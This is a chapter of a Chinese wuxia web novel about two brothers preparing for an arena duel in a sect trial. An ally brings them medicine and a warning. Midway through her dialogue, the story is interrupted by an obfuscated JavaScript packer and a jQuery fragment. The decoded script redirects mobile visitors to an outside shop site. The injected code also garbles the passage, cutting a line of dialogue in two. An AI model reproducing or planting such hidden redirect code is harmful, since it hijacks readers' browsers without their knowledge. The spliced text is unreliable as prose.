天色渐暗。凌云峰山腰的房舍间亮起了星星点点的灯火,有风穿过长廊,将灯罩里的火苗压得矮了一截。又松开,火苗便重新窜高,将靠窗的几张人脸映得忽明忽暗。
沈长老站在石阶高处,暮风将他墨绿色长袍的下摆吹得翻卷。他没有多说什么,只是简单宣布第三关将在两日后进行。届时仍是辰时集合,地点另行通知。话音落下,人群便散了,三三两两往回走。
落明天一进门就栽在了床上。
那张木床不大,被他整个人摊开来一趴,手脚伸出去。占了大半张床面。他侧着脸,半边嘴巴压着枕头,含含糊糊地说:“我觉得第二关比第一关累十倍。第一关好歹是动脑子,第二关纯属跟虫蛇抢东西。”
“那是你平时练功偷懒。“祈新起在窗边坐下,”轻功练到第三层就不会觉得累了。”
“我轻功早练到第四层了。”
“第四层就跑这点路就瘫了?”
“那是心理上的累,不是身体上的累。“落明天翻了个身,仰面朝上。望着房梁上的木纹,”心理上累比身体上累更费劲,西行客大哥说的。”
祈新起没有接话。
他从床头拿起一块叠好的布,展开来,细细地擦拭剑身。
落明天在床上翻了个身,侧过脸来看着他,顿了一下才开口:“哥,你说第三关的擂台对决,会怎么打?”
“应该是一对一。“祈新起手中的布停在剑身中央,”通过了第一关和第二关的现在还有五六十人,人数不算少。擂台比武是最快的方式,两人对阵。胜者留下,败者淘汰,一轮一轮筛,直到剩下最后一批。”
“那要是咱们抽到一起了呢?”
祈新起的手顿了一下。
他抬眼看向弟弟。落明天的表情不像在开玩笑,他仰面躺在床上,两只手枕在脑后,目光落在房梁上。
“那就打。”祈新起说。
“你真打?”
“真打。“他将最后一段剑刃擦完,把布叠好收起来,紫薇剑搁在触手可及的位置,”你赢不了我。”
落明天猛一下坐起来,床板被他这动作震得咯吱一响:“那可不一定!我这几天进步可大了。西行客大哥走之前说我八式已经能走完不散了,虽然没有到收放自如的地步,但比起以前强了不止一个台阶。”
祈新起看了他一眼,嘴角几不可察地勾了一下:“那就试试。”
落明天盯着他看了两息,笑了。那笑容从眼底泛上来,先是亮了一下,再蔓延到嘴角,绽成一个带着少年气的灿烂弧度。
“行啊哥。你要是真抽到我,别怪我下手不留情面。”
“你要是真能赢我,我高兴还来不及。”
兄弟俩相视一笑,屋里原本绷着的那根弦松了下来。落明天重新躺回去,两手摊开,望着天花板,长出了一口气。
“对了哥,你说林小天那小子,深藏不露啊。“他转过话头,语气里带着琢磨的意味。”今天那一石子,准头、力道,那哪是碰巧能打出来的。他练过暗器,而且练了不止一两年。”
祈新起点了一下头。这个他早已注意到了。
“还有他那个观察力,“落明天掰着手指头数,”石阵里墙砖松动是他发现的。密林里赤链蛇的种类和习性他张口就来,泥沼旁边他站的位置恰好是最方便接应的角度。这些东西,没在江湖上混过几年,哪来这么老到。”
“你想说什么?”
“我想说他这个人不简单。“落明天偏过头看着祈新起,”但他对咱们没有恶意。至少目前没有。他送药也好,帮忙也好,做的都是对咱们有利的事。”
祈新起没有说话。他当然知道林小天不简单。
他正想着,门外传来脚步声。
很轻,走到门口时停了停,犹豫了一会儿才敲响了门板。三声,不重不轻。
落明天从床上弹起来去开门。门打开,林小天站在门口,手里端着一只粗瓷碗。碗沿上还冒着白气,药草的清苦味从碗口飘出来,在走廊的穿堂风中散开。
“齐大哥在吗?“林小天的视线越过落明天的肩膀,落在屋内的祈新起身上,”我给你熬了一碗药,对伤口恢复有好处。”
祈新起站起身,走到门口。他没有马上接碗,而是先打量了一眼林小天的脸。暮色已经将他的面容拢得有些模糊,但那双眼睛依然清明。
“你熬的?”
“嗯。“林小天将碗往前递了递,”这边的伙房有药材。我跟管事的要了一些。赤链蛇的毒虽然不致命,但伤口附近的淤血需要化开,不然明天会肿。”
祈新起接过碗。碗壁温热,药汤呈深褐色,散发着熟悉的草药味。他低头闻了一下。认出了其中几味。当归、川芎、红花,都是活血化瘀的东西。西行客配的金创药里也有这几味,只是比例不同。
“多谢。”他道。
林小天点了点头,却没有马上转身走。
“齐大哥,“她开口了,声音比方才低了几分,”明天的擂台对决,你们要小心。”
祈新起端着碗的手没有动。
“什么意思?”
林小天抬起头看着他,眼睛里带着犹豫:“我今天回住处的时候,听到有人在议论你们。第一关拿了金旗。第二关又找了两株血灵芝,太出风头了。有些人觉得你们抢了他们的风头,想在擂台上给你们点教训。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974474|214711||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谁?”
“不认识。“林小天摇头,”他们说话的声音压得很低,我只听到了几句。”
落明天靠在门框上,双手抱在胸前,脸上的嬉笑收了几分:“知道具体是谁吗?”
林小天又摇了摇头,语气里带着歉意:“没看清脸。但你们小心些就是了。”
她说完这句话,像卸下了什么重担,呼出一口气。转身要走。走出两步,又回过头来,补了一句:“药趁热喝,凉了药效就差了。”
落明天关上门,转身压低声音道:“哥,你觉得的是真的?”
“有可能。“祈新起将药碗端到桌边坐下,”我们在前两关确实太显眼了。第一关抢金旗时,那个想抢我们金旗的人就没得手;第二关又带出了两株血灵芝。在这种地方,做得太出挑的人最容易成为靶子。”
“那怎么办?”
“兵来将挡,水来土掩。”
祈新起端起药碗喝了一口。药汤入口微苦,带着姜的辛辣,顺着喉咙滑进胃里。随即化作一团温热在腹中散开。他又喝了两口,将碗中剩下的药汤一饮而尽,碗底搁在桌上发出一声轻响。
窗外的天色已经完全暗了下来。山腰的房舍间亮起了更多灯火,远远近近的。如散落在山坡上的萤火虫。远处有虫鸣从草丛里渗出来,断断续续的,衬得四周更加寂静。
“哥,“落明天坐在床沿上,双手撑着膝盖,难得没有嬉皮笑脸,”你说林小天这个人,到底能不能信?”
祈新起顿了一下。
“目前来看,他没有害我们的意思。“,”但也不能全信。他身上的疑点太多,在弄清楚他的来历之前,保持距离。”
“那他今天说的那个提醒——”
“应该是真的。“祈新起将紫薇剑搁在枕边,”他没有必要编这么一个谎话来吓我们。而且以他的观察力,能听到别人议论也很正常。”
落明天点了点头,不再追问。他站起身,走到窗前。推开半扇窗往外看了一眼。山间的夜风涌进来,带着露水和松木的气息,吹得桌上的油灯跳了一下。
“早点睡。”祈新起的声音从他身后传来,“养足精神。”
“知道了。“落明天关上窗,插好插销,走回自己的床铺前。他躺下去之前。又侧头看了祈新起一眼,”哥,要是明天真有人在擂台上使绊子,你打算怎么办?”
“按规矩打。“祈新起说,”他们想教训我,也得看有没有那个本事。”
落明天咧嘴一笑,翻了个身,面朝墙壁:“行,有你这句话我就放心了。”
屋里的油灯还亮着,灯芯上结了一小截灯花,火苗在灯罩里跳跃,将两个少年的影子投在墙上。